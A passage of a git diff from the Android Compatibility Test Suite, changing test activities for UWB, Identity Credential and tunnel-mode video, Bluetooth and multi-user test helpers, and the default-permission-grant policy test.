- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.presence;
-
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Activity for testing that UWB distance measurements are within the acceptable median.
- */
-public class UwbShortRangeActivity extends PassFailButtons.Activity {
- private static final String TAG = UwbShortRangeActivity.class.getName();
- // Report log schema
- private static final String KEY_DISTANCE_MEDIAN_CM = "distance_median_cm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
- // Median Thresholds
- private static final double MIN_MEDIAN = 0.75;
- private static final double MAX_MEDIAN = 1.25;
- private EditText mMedianInput;
- private EditText mReferenceDeviceInput;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.uwb_short_range);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- mMedianInput = (EditText) findViewById(R.id.distance_median_meters);
- mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_UWB);
-
- mMedianInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- mReferenceDeviceInput.addTextChangedListener(
- InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
- }
-
- private void checkTestInputs() {
- getPassButton().setEnabled(checkMedianInput() && checkReferenceDeviceInput());
- }
-
- private boolean checkMedianInput() {
- String medianInput = mMedianInput.getText().toString();
- if (!medianInput.isEmpty()) {
- double median = Double.parseDouble(medianInput);
- return median >= MIN_MEDIAN && median <= MAX_MEDIAN;
- }
- return false;
- }
-
- private boolean checkReferenceDeviceInput() {
- return !mReferenceDeviceInput.getText().toString().isEmpty();
- }
-
- @Override
- public void recordTestResults() {
- String medianInput = mMedianInput.getText().toString();
- String referenceDeviceInput = mReferenceDeviceInput.getText().toString();
- if (!medianInput.isEmpty()) {
- Log.i(TAG, "UWB Distance Median: " + medianInput);
- getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Double.parseDouble(medianInput),
- ResultType.NEUTRAL, ResultUnit.NONE);
- }
- if (!referenceDeviceInput.isEmpty()) {
- Log.i(TAG, "UWB Reference Device: " + referenceDeviceInput);
- getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDeviceInput, ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
- getReportLog().submit();
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
index d68c5b6d52a..316e15ad36d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java
@@ -18,6 +18,8 @@ package com.android.cts.verifier.security;
import android.Manifest;
import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.pm.FeatureInfo;
import android.content.pm.PackageManager;
import android.hardware.biometrics.BiometricManager;
import android.hardware.biometrics.BiometricManager.Authenticators;
@@ -48,6 +50,7 @@ import java.util.Arrays;
import java.util.Collection;
import java.util.LinkedHashMap;
import java.util.LinkedList;
+import java.util.Locale;
import java.util.Map;
/**
@@ -59,6 +62,8 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto
private static final int BIOMETRIC_REQUEST_PERMISSION_CODE = 0;
+ private static final int PRESENTATION_SESSION_FEATURE_VERSION_NEEDED = 202201;
+
private BiometricManager mBiometricManager;
private KeyguardManager mKeyguardManager;
@@ -70,6 +75,31 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto
return R.string.sec_identity_credential_authentication_multi_document_test_info;
}
+ // Returns 0 if Identity Credential is not implemented. Otherwise returns the feature version.
+ //
+ private static int getFeatureVersion(Context appContext) {
+ PackageManager pm = appContext.getPackageManager();
+
+ if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+ FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+ for (int n = 0; n < infos.length; n++) {
+ FeatureInfo info = infos[n];
+ if (info.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+ return info.version;
+ }
+ }
+ }
+
+ // Use of the system feature is not required since Android 12. So for Android 11
+ // return 202009 which is the feature version shipped with Android 11.
+ IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+ if (store != null) {
+ return 202009;
+ }
+
+ return 0;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -154,6 +184,18 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto
getPassButton().setEnabled(true);
return;
}
+ int featureVersion = getFeatureVersion(this);
+ Log.i(TAG, "Identity Credential featureVersion: " + featureVersion);
+ if (featureVersion < PRESENTATION_SESSION_FEATURE_VERSION_NEEDED) {
+ showToast(String.format(
+ Locale.US,
+ "Identity Credential version %d or later is required but "
+ + "version %d was found. Test passed.",
+ PRESENTATION_SESSION_FEATURE_VERSION_NEEDED,
+ featureVersion));
+ getPassButton().setEnabled(true);
+ return;
+ }
final int result = mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_STRONG);
switch (result) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
index 055f26f7af6..c0df10c996e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -66,9 +66,9 @@ public class MediaCodecFlushActivity extends PassFailButtons.Activity {
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
- mPlayer.startThread();
+ mPlayer.startCodec();
+ mPlayer.play();
mHandler.postDelayed(this::pauseStep, 5000);
} catch(Exception e) {
Log.d(TAG, "Could not play video", e);
@@ -95,7 +95,7 @@ public class MediaCodecFlushActivity extends PassFailButtons.Activity {
private void resumeStep() {
try {
- mPlayer.start();
+ mPlayer.resume();
mHandler.postDelayed(this::enablePassButton, 3000);
} catch(Exception e) {
Log.d(TAG, "Could not resume video", e);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
new file mode 100644
index 00000000000..4744ab89f6b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
@@ -0,0 +1,3 @@
+# Buganizer component id: 687598
+blindahl@google.com
+narcisaam@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
index 0163c62fcf1..c4461431b59 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java
@@ -209,10 +209,10 @@ public class VolumeLevelChangesActivity extends PassFailButtons.Activity {
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
+ mPlayer.startCodec();
mPlayer.setLoopEnabled(true);
- mPlayer.startThread();
+ mPlayer.play();
} catch (Exception e) {
Log.d(TAG, "Could not play the video.", e);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
index 641ab20846f..94ef5363424 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
@@ -221,10 +221,10 @@ public class ModeSwitchingTestActivity extends PassFailButtons.Activity {
private void playVideo() {
try {
- mPlayer.start();
mPlayer.prepare();
+ mPlayer.startCodec();
mPlayer.setLoopEnabled(true);
- mPlayer.startThread();
+ mPlayer.play();
} catch (Exception e) {
Log.d(TAG, "Could not play video", e);
}
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
deleted file mode 100644
index 8f076a82482..00000000000
--- a/apps/MainlineModuleDetector/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 195645
-manjaepark@google.com
-mspector@google.com \ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
deleted file mode 100644
index 01c02c774cd..00000000000
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mainlinemoduledetector;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.compatibility.common.util.mainline.MainlineModule;
-import com.android.compatibility.common.util.mainline.ModuleDetector;
-
-import java.util.HashSet;
-import java.util.Set;
-
-public class MainlineModuleDetector extends Activity {
-
- private static final String LOG_TAG = "MainlineModuleDetector";
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- try {
- PackageManager pm = getApplicationContext().getPackageManager();
- Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
- Set<String> moduleNames = new HashSet<>();
- for (MainlineModule module : modules) {
- moduleNames.add(module.packageName);
- }
- Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
- } catch (Exception e) {
- Log.e(LOG_TAG, "Failed to retrieve modules.", e);
- }
- this.finish();
- }
-}
diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp
index 70c7d672b0c..df62a77e5fa 100644
--- a/apps/PermissionApp/Android.bp
+++ b/apps/PermissionApp/Android.bp
@@ -30,6 +30,6 @@ android_test_helper_app {
"arcts",
"cts",
"general-tests",
- "mts",
+ "mts-permission",
],
}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
new file mode 100644
index 00000000000..03d21f43d2a
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation to indicate that a test requires multi-user support.
+ *
+ * <p>This can be enforced by using {@code DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+//@Experimental
+public @interface RequireMultiUserSupport {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index b28b815a9de..7bd649dc895 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -67,6 +67,7 @@ import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
import com.android.bedstead.harrier.annotations.RequireFeature;
import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
import com.android.bedstead.harrier.annotations.RequireLowRamDevice;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode;
import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice;
import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
@@ -786,6 +787,12 @@ public final class DeviceState extends HarrierRule {
ensureGlobalSettingSet(
ensureGlobalSettingSetAnnotation.key(),
ensureGlobalSettingSetAnnotation.value());
+ continue;
+ }
+
+ if (annotation instanceof RequireMultiUserSupport) {
+ requireMultiUserSupport();
+ continue;
}
}
@@ -2528,4 +2535,9 @@ public final class DeviceState extends HarrierRule {
}
TestApis.settings().global().putString(key, value);
}
+
+ private void requireMultiUserSupport() {
+ assumeTrue("This test is only supported on multi user devices",
+ TestApis.users().supportsMultipleUsers());
+ }
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
index 30a642e1a87..4b9e87ec188 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
@@ -17,6 +17,7 @@
package com.android.bedstead.nene.bluetooth;
import static android.os.Build.VERSION_CODES.R;
+import static android.os.Process.BLUETOOTH_UID;
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH;
import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT;
@@ -25,21 +26,24 @@ import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_A
import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS;
import static com.android.bedstead.nene.utils.Versions.T;
-import static com.google.common.truth.Truth.assertThat;
-
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothManager;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
+import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.bedstead.nene.utils.Poll;
+import com.android.bedstead.nene.utils.Versions;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
/** Test APIs related to bluetooth. */
public final class Bluetooth {
-
public static final Bluetooth sInstance = new Bluetooth();
private static final Context sContext = TestApis.context().instrumentedContext();
@@ -47,90 +51,130 @@ public final class Bluetooth {
sContext.getSystemService(BluetoothManager.class);
private static final BluetoothAdapter sBluetoothAdapter = sBluetoothManager.getAdapter();
- private Bluetooth() {
- }
+ private Bluetooth() {}
/** Enable or disable bluetooth on the device. */
public void setEnabled(boolean enabled) {
- if (isEnabled() == enabled) {
- return;
- }
-
- if (enabled) {
- enable();
- } else {
- disable();
- }
+ if (isEnabled() == enabled) {
+ return;
+ }
+
+ if (enabled) {
+ enable();
+ } else {
+ disable();
+ }
}
private void enable() {
- try (PermissionContext p =
- TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
- BLUETOOTH_PRIVILEGED)
- .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
- BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
- sContext,
- BluetoothAdapter.ACTION_STATE_CHANGED,
- this::isStateEnabled).register();
-
- try {
- boolean returnValue = sBluetoothAdapter.enable();
-
- r.awaitForBroadcast();
- Poll.forValue("Bluetooth Enabled", this::isEnabled)
- .toBeEqualTo(true)
- .errorOnFail("Waited for bluetooth to be enabled."
- + " .enable() returned " + returnValue)
- .await();
- } finally {
- r.unregisterQuietly();
- }
+ try (PermissionContext p = TestApis.permissions()
+ .withPermission(BLUETOOTH_CONNECT,
+ INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+ .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+ BlockingBroadcastReceiver r =
+ BlockingBroadcastReceiver
+ .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+ this::isStateEnabled)
+ .register();
+
+ try {
+ boolean returnValue = sBluetoothAdapter.enable();
+
+ r.awaitForBroadcast();
+ Poll.forValue("Bluetooth Enabled", this::isEnabled)
+ .toBeEqualTo(true)
+ .errorOnFail("Waited for bluetooth to be enabled."
+ + " .enable() returned " + returnValue)
+ .await();
+ } finally {
+ r.unregisterQuietly();
}
-
+ }
}
private void disable() {
- try (PermissionContext p =
- TestApis.permissions()
- .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
- BLUETOOTH_PRIVILEGED)
- .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
- BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
- sContext,
- BluetoothAdapter.ACTION_STATE_CHANGED,
- this::isStateDisabled).register();
-
- try {
- boolean returnValue = sBluetoothAdapter.disable();
-
- r.awaitForBroadcast();
- Poll.forValue("Bluetooth Enabled", this::isEnabled)
- .toBeEqualTo(false)
- .errorOnFail("Waited for bluetooth to be disabled."
- + " .disable() returned " + returnValue)
- .await();
- } finally {
- r.unregisterQuietly();
- }
+ try (PermissionContext p = TestApis.permissions()
+ .withPermission(BLUETOOTH_CONNECT,
+ INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED)
+ .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
+ BlockingBroadcastReceiver r =
+ BlockingBroadcastReceiver
+ .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED,
+ this::isStateDisabled)
+ .register();
+
+ try {
+ boolean returnValue = sBluetoothAdapter.disable();
+
+ r.awaitForBroadcast();
+ Poll.forValue("Bluetooth Enabled", this::isEnabled)
+ .toBeEqualTo(false)
+ .errorOnFail("Waited for bluetooth to be disabled."
+ + " .disable() returned " + returnValue)
+ .await();
+ } finally {
+ r.unregisterQuietly();
}
+ }
}
/** {@code true} if bluetooth is enabled. */
public boolean isEnabled() {
- try (PermissionContext p =
- TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
- return sBluetoothAdapter.isEnabled();
- }
+ try (PermissionContext p =
+ TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) {
+ return sBluetoothAdapter.isEnabled();
+ }
}
private boolean isStateEnabled(Intent intent) {
- return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
- == BluetoothAdapter.STATE_ON;
+ return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_ON;
}
private boolean isStateDisabled(Intent intent) {
- return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1)
- == BluetoothAdapter.STATE_OFF;
+ return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_OFF;
+ }
+
+ /** The bluetooth UID is associated with multiple packages. Get the main one. */
+ @Experimental
+ public String findPackageName() {
+ if (!Versions.meetsMinimumSdkVersionRequirement(T)) {
+ return "com.android.bluetooth";
+ }
+ // this activity will always be in the package where the rest of Bluetooth lives
+ var sentinelActivity = "com.android.bluetooth.opp.BluetoothOppLauncherActivity";
+ var packageManager = sContext.createContextAsUser(UserHandle.SYSTEM, 0).getPackageManager();
+ var allPackages = packageManager.getPackagesForUid(BLUETOOTH_UID);
+ String matchedPackage = null;
+ for (String candidatePackage : allPackages) {
+ PackageInfo packageInfo;
+ try {
+ packageInfo =
+ packageManager.getPackageInfo(
+ candidatePackage,
+ PackageManager.GET_ACTIVITIES
+ | PackageManager.MATCH_ANY_USER
+ | PackageManager.MATCH_UNINSTALLED_PACKAGES
+ | PackageManager.MATCH_DISABLED_COMPONENTS);
+ } catch (PackageManager.NameNotFoundException e) {
+ // rethrow
+ throw new NeneException(e);
+ }
+ if (packageInfo.activities == null) {
+ continue;
+ }
+ for (var activity : packageInfo.activities) {
+ if (sentinelActivity.equals(activity.name)) {
+ if (matchedPackage == null) {
+ matchedPackage = candidatePackage;
+ } else {
+ throw new NeneException("multiple main bluetooth packages found");
+ }
+ }
+ }
+ }
+ if (matchedPackage != null) {
+ return matchedPackage;
+ }
+ throw new NeneException("Could not find main bluetooth package");
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 200feb70b24..0ce2d7fe2e8 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -40,6 +40,7 @@ import androidx.annotation.CheckResult;
import androidx.annotation.Nullable;
import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.annotations.Experimental;
import com.android.bedstead.nene.exceptions.AdbException;
import com.android.bedstead.nene.exceptions.AdbParseException;
import com.android.bedstead.nene.exceptions.NeneException;
@@ -485,6 +486,11 @@ public final class Users {
return mCachedUsers.get(id);
}
+ @Experimental
+ public boolean supportsMultipleUsers() {
+ return UserManager.supportsMultipleUsers();
+ }
+
static Stream<UserInfo> users() {
if (Permissions.sIgnorePermissions.get()) {
return sUserManager.getUsers(
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index 55fc0778dca..c7a387cf9ea 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 41a38d4f18d..f9174ad5949 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -18,6 +18,9 @@ package com.android.compatibility.common.util;
import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED;
import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
import static org.junit.Assert.fail;
@@ -150,14 +153,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
* @param permissions the set of permissions, formatted "permission_name fixed_boolean"
*/
public void setException(String pkg, String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
}
@@ -174,14 +177,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
*/
public void setExceptionWithMetadata(String company, String metadata, String pkg,
String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(
company, metadata, pkg, sha256, permissionsMap));
@@ -378,9 +381,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
- for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+ for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) {
String permission = entry.getKey();
- Boolean fixed = entry.getValue();
+ UidState.FixedState fixed = entry.getValue();
if (!requestedPermissions.contains(permission)) {
Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
continue;
@@ -512,8 +515,8 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
- + permission, false, Collections.singleton(extendedPerm),
- outUidStates);
+ + permission, NOT_FIXED,
+ Collections.singleton(extendedPerm), outUidStates);
}
}
}
@@ -544,7 +547,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd
- + " is granted to pre-" + targetSdk + " apps", false,
+ + " is granted to pre-" + targetSdk + " apps", NOT_FIXED,
Collections.singleton(permissionToAdd), outUidStates);
}
}
@@ -553,6 +556,13 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+ appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED,
+ pregrantedPerms, outUidStates);
+ }
+
+ public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+ UidState.FixedState fixed, Set<String> pregrantedPerms,
+ SparseArray<UidState> outUidStates) {
final int uid = packageInfo.applicationInfo.uid;
UidState uidState = outUidStates.get(uid);
if (uidState == null) {
@@ -561,7 +571,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
for (String requestedPermission : packageInfo.requestedPermissions) {
if (pregrantedPerms.contains(requestedPermission)) {
- uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission,
+ uidState.addGrantedPermission(packageInfo, reason, requestedPermission,
fixed);
}
}
@@ -621,8 +631,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
setPermissionGrantState(packageInfo.packageName, permission, false);
+ UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i);
Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName)
- || uidState.grantedPermissions.valueAt(i);
+ || fixedState == SUPER_FIXED || fixedState == FIXED;
// Weaker grant is fine, e.g. not-fixed instead of fixed.
if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
@@ -702,9 +713,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public class GrantReason {
public final String reason;
public final boolean override;
- public final Boolean fixed;
+ public final FixedState fixed;
- GrantReason(String reason, boolean override, Boolean fixed) {
+ GrantReason(String reason, boolean override, FixedState fixed) {
this.reason = reason;
this.override = override;
this.fixed = fixed;
@@ -726,10 +737,34 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
}
+ /**
+ * Enum representing if a permission's pregrant condition should be fixed and how it should
+ * interact with other pregrant conditions' fixed status.
+ */
+ public enum FixedState {
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it won't lose
+ * fixed status and will override non-fixed status.
+ */
+ SUPER_FIXED,
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it may lose
+ * fixed status.
+ */
+ FIXED,
+
+ /**
+ * Permission is not fixed.
+ */
+ NOT_FIXED
+ }
+
// packageName -> permission -> [reason]
public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
new ArrayMap<>();
- public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+ public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>();
public void log() {
for (String packageName : mGrantReasons.keySet()) {
